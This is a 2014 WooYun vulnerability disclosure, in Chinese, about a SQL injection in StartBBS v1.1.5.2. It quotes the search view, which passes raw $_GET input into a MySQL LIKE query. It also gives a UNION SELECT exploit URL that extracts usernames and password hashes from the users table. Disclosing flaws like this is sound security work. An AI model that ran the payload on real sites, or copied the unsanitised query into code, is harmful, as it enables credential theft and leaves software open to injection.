当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-067853

漏洞标题:StartBBS v1.1.5.2版SQL注入漏洞(附EXP)

相关厂商:startbbs.com

漏洞作者: xiaoL

提交时间:2014-07-09 19:57

修复时间:2014-10-04 19:58

公开时间:2014-10-04 19:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-09: 细节已通知厂商并且等待厂商处理中
2014-07-14: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-09-07: 细节向核心白帽子及相关领域专家公开
2014-09-17: 细节向普通白帽子公开
2014-09-27: 细节向实习白帽子公开
2014-10-04: 细节向公众公开

简要描述:

庆祝wooyun复活了,发一个漏洞记录一下。
最近在看CI框架,就下了StartBBS来学习,发现在处理MVC的时候,出现了漏洞。
7月8号发布的StartBBS v1.1.5.2最新版本,出现了一个很低级的错误,导致了SQL注入漏洞。

详细说明:

从这个http://startbbs.com/topic/2332帖子下载的源码,肯定是最新的v1.1.5.2版本。
代码使用MVC结构有很多的好处,在控制器处理用户输入输出,模型处理数据,视图展示输出。可是代码一旦混淆,漏洞就出现了。
本身CI框架的input输入是安全的。但是在翻到视图层的时候,出现了一个低级错误。
在视图层文件:themes\default\search.php

<!DOCTYPE html><html><head><meta content='## 电子邮件&#x000A;&#x000A;[email protected]&#x000A;&#x000A;## QQ&#x000A;&#x000A;420771712 (请注明 rabel)&#x000A;&#x000A;&#x000A;' name='description'>
<meta charset='UTF-8'>
<meta content='True' name='HandheldFriendly'>
<meta content='width=device-width, initial-scale=1.0' name='viewport'>
<title><?php echo $title;?>列表 - <?=$settings['site_name']?></title>
<?php $this->load->view('header-meta');?>
</head>
<body id="startbbs">
<?php $this->load->view('header');?>
<div id="wrap"><div class="container" id="page-main"><div class="row"><div class='col-xs-12 col-sm-6 col-md-8'>
<div class='box'>
<div class='inner'>
<div class='page'>
<article>
<h1 class='page-header'>
<?php echo $title;?><span class="red"><?php echo $q;?></span>列表
</h1>
<?php
$q = $_GET["q"];
$sousuo = mysql_query("select * from stb_forums where title like '%$q%'");
while ($row = mysql_fetch_array($sousuo)){
echo "<a style='height:40px; line-height:40px;' target='_blank' href='site_url()/forum/view/{$row['fid']}'>".$row['title']."</a><br />";
}
?>
<div class="btn btn-info"><a href="http://cn.bing.com/search?q=<?php echo $q;?>+site:<?php echo get_domain();?>">找不到想要的结果?点这里试试</a></div>
<gcse:searchresults-only></gcse:searchresults-only>
</article>
</div>
</div>
</div>
</div>
<div class='col-xs-12 col-sm-6 col-md-4' id='Rightbar'>
<?php $this->load->view('block/right_login');?>
<?php $this->load->view('block/right_ad');?>
</div>
</div></div></div>
<?php $this->load->view('footer');?>


是不是很奇葩,竟然在这里单独使用了一个$_GET["q"]来获取用户输入,因此导致了本次的SQL注入漏洞。

漏洞证明:

EXP:
http://127.0.0.1/startbbs/index.php/home/search?q=1%27union%20select%201,2,3,4,concat(username,%27|%27,password),6,7,8,9,0,1,2,3,4,5,6,7%20from%20stb_users--%20&sitesearch=http%3A%2F%2F127.0.0.1%2Fstartbbs%2F

1111.png

修复方案:

输入逻辑放到控制层用input接受吧!

版权声明:转载请注明来源 xiaoL@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-10-04 19:58

厂商回复:

最新状态:

暂无